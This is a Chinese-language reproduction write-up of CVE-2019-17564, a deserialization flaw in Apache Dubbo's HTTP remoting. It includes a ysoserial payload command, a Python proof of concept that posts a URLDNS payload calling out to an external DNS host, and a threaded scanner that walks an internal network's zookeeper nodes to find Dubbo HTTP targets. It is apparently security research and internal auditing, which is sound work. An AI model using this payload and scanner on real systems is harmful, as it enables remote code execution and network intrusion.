CVE-2019-17564 Dubbo HTTP协议反序列化漏洞

影响范围

2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This vulnerability can affect users using Dubbo-Rpc-Http (2.7.3 or lower) and Spring-Web (5.1.9.RELEASE or lower).

上面这部分是官方描述,也就是说当HTTP remoting 开启的时候,存在反序列化漏洞。有一点在描述中值得注意的,也就是说它影响不只是dubbo,还有spring-web(5.1.9.RELEASE)及之前版本。

漏洞复现

一、环境搭建

测试环境搭建方法如下:

git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/java/dubbo-samples-http

用IDEA打开后需要修改pom.xml中的dubbo.version 将其修改为2.7.3漏洞版本。

导入完依赖后还需要一个本地触发gadgets,这里导入commons-collections4-4.0。

注: Dubbo启动依赖zookeeper。

二、启动zookeeper

下载完zookeeper后将conf目录下的zoo_sample.cfg文件改成zoo.cfg并修改其中的两个参数

dataDir=E:/zookeeper/data
dataLogDir=E:/zookeeper/log
admin.serverPort=8899 //新增这个配置,避免zookeeper的管理页面绑定到8080端口

data和log目录需要自己在zookeeper目录下创建。然后运行bin\zkServer.cmd文件。

随后启动dubbo项目中的启动HttpProvider

二、构造反序列化

利用ysoserial生成payload

java -jar ysoserial-0.0.5.jar CommonsCollections4 "calc" > payload.out

将payload粘贴至burp中,注意burp导入的数据,可能和原始数据不一致! ** 也可以使用如下脚本,利用DNS请求来验证

# !/usr/bin/env python
# -*- coding:utf-8 -*-

__author__ = 'bit4woo'
__github__ = 'https://github.com/bit4woo'

import requests
import subprocess

'''
目标站的特征:
http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService
访问的目标网站是dubbo的httpservice
'''

java7 =r"C:\Program Files\Java\jdk1.7.0\bin\java"
ys_filepath = r'D:\ser\ysoserial-0.0.5.jar'

def poc(url):
    try:
        popen = subprocess.Popen([java7, '-jar', ys_filepath, "URLDNS", "http://dubbo.bit.0y0.link"],
                                 stdout=subprocess.PIPE)
        payload = popen.stdout.read()
        proxy = {"http":"http://127.0.0.1:8081"}
        r = requests.post(url, data=payload, timeout=5,proxies = proxy)#只有POST方法会触发
    except Exception as e:
        print(e)

if __name__ == '__main__':
    poc("http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService")

Snipaste_2020-07-17_17-50-49.png

漏洞调用栈

调用链如下,标准的反序列化漏洞,没有需要分析的内容。

getHostAddress(URL):434, URLStreamHandler (java.net)
hashCode(URL):359, URLStreamHandler (java.net)
hashCode():885, URL (java.net)
hash(Object):338, HashMap (java.util)
readObject(ObjectInputStream):1405, HashMap (java.util)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):62, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):498, Method (java.lang.reflect)
invokeReadObject(Object, ObjectInputStream):1058, ObjectStreamClass (java.io)
readSerialData(Object, ObjectStreamClass):2122, ObjectInputStream (java.io)
readOrdinaryObject(boolean):2013, ObjectInputStream (java.io)
readObject0(boolean):1535, ObjectInputStream (java.io)
readObject():422, ObjectInputStream (java.io)
doReadRemoteInvocation(ObjectInputStream):144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation(HttpServletRequest, InputStream):121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation(HttpServletRequest):100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest(HttpServletRequest, HttpServletResponse):79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle(HttpServletRequest, HttpServletResponse):216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service(HttpServletRequest, HttpServletResponse):61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service(ServletRequest, ServletResponse):790, HttpServlet (javax.servlet.http)
internalDoFilter(ServletRequest, ServletResponse):231, ApplicationFilterChain (org.apache.catalina.core)
doFilter(ServletRequest, ServletResponse):166, ApplicationFilterChain (org.apache.catalina.core)
invoke(Request, Response):198, StandardWrapperValve (org.apache.catalina.core)
invoke(Request, Response):96, StandardContextValve (org.apache.catalina.core)
invoke(Request, Response):496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke(Request, Response):140, StandardHostValve (org.apache.catalina.core)
invoke(Request, Response):81, ErrorReportValve (org.apache.catalina.valves)
invoke(Request, Response):87, StandardEngineValve (org.apache.catalina.core)
service(Request, Response):342, CoyoteAdapter (org.apache.catalina.connector)
service(SocketWrapperBase):803, Http11Processor (org.apache.coyote.http11)
process(SocketWrapperBase, SocketEvent):66, AbstractProcessorLight (org.apache.coyote)
process(SocketWrapperBase, SocketEvent):790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun():1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run():49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker(ThreadPoolExecutor$Worker):1142, ThreadPoolExecutor (java.util.concurrent)
run():617, ThreadPoolExecutor$Worker (java.util.concurrent)
run():61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run():745, Thread (java.lang)

当dubbo以http协议对外暴露服务时,存在反序列化漏洞,漏洞的利用需要找到对外暴露服务对应的URL地址,攻击者难以直接对web服务发起该漏洞的攻击,但是可以通过zookeeper监控程序,dubbo管理端等获取到这个信息。利用难度中。

批量排查

遍历内网zookeeper,尝试查找内网dubbo的http服务,主要思路: 1、扫描zookeeper默认端口2181,发现所有zookeeper服务。 2、连接zookeeper端口,并遍历其中的节点。 3、如果节点以/dubbo开头则认为是dubbo注册的节点。 4、获取节点数据,如果节点数据包含"http://" 或 "https://" 认为是符合要求的“dubbo开在http协议上的服务”。 注意:3、4的思路是个人的想法,不确信是否准确!!!

结果未发现这类服务。

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4woo'
__github__ = 'https://github.com/bit4woo'

import sys, os
import datetime
import threading
try:
    from queue import Queue #python3
except Exception as e:
    import Queue  # python2
    pass

def ThreadRunner(inputList, threadNumber=100):
    try:  # python3
        input_Queue = Queue()
        output_queue = Queue()
    except Exception as e:  # python2
        input_Queue = Queue.Queue()
        output_queue = Queue.Queue()

    for item in inputList:
        input_Queue.put(item.strip())

    Threadlist = []
    for i in range(int(threadNumber)):
        dt = Customer(input_Queue, output_queue)
        dt.setDaemon(True)
        dt.start()
        Threadlist.append(dt)
    for item in Threadlist:
        item.join()

    resultlist = []

    while not output_queue.empty():
        itemx = output_queue.get(timeout=0.1)
        resultlist.append(itemx)

    resultlist = list(set(resultlist))
    return resultlist


class Customer(threading.Thread):
    def __init__(self, input_Queue, output_queue):
        threading.Thread.__init__(self)
        self.input_Queue = input_Queue
        self.output_queue = output_queue

    def run(self):
        while True:
            if self.input_Queue.empty():
                break
            item = self.input_Queue.get(1)
            try:
                result = Do_Your_Task_In_This_Function(item)
                self.output_queue.put(result)
            except Exception as e:
                print(item+" "+str(e))

def writefile(list, outputfile=None):
    if outputfile == None:
        now = datetime.datetime.now()
        timestr = now.strftime("-%Y-%m-%d-%H-%M")
        outputfile = "ThreadRunner" + timestr + ".txt"
    outputfile = os.path.join(os.path.dirname(__file__), "..", "output", outputfile)
    open(outputfile, "w").writelines("\n".join(list.__str__()))


def Do_Your_Task_In_This_Function(input):  # do your job in this function!!
    nodes = getAllChildren(input)
    if nodes ==None:
        return ""
    if "dubbo" in nodes:
        print("!!!!发现有效目标{0}".format(input))
        return input
    else:
        return ""

def getAllChildren(Host, port="2181"):
    from kazoo.client import KazooClient
    try:
        AllNodes = []
        if ":" in Host:
            zk = KazooClient(hosts=Host)
        else:
            zk = KazooClient(hosts=Host + ":" + port)
        zk.start()
        NodeList = zk.get_children('/')
        while len(NodeList) > 0:
            for node in NodeList:
                #print("try get children of " + node)
                children = zk.get_children(node)
                resultnodes = list()
                for child in children:
                    if node == "/":
                        resultnodes.append(node + child)
                    else:
                        resultnodes.append(node + "/" + child)
                print(resultnodes)
                AllNodes.extend(resultnodes)
                NodeList = resultnodes
        zk.stop()
        if AllNodes ==None:
            return []
        return AllNodes
    except Exception as e:
        #print(Host+" "+str(e))
        pass

if __name__ == "__main__":
    result = ThreadRunner(open(r"D:\user\bit4woo\desktop\内网zookeeper.txt", "r").readlines())
    result.remove("")
    print("发现{0}个有效目标".format(len(result)))
    for item in result:
        print(item)

遍历所有结果未发现有用的在http协议上的服务。 image.png

参考链接

https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html http://www.lmxspace.com/2020/02/16/Apache-Dubbo%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2019-17564%EF%BC%89/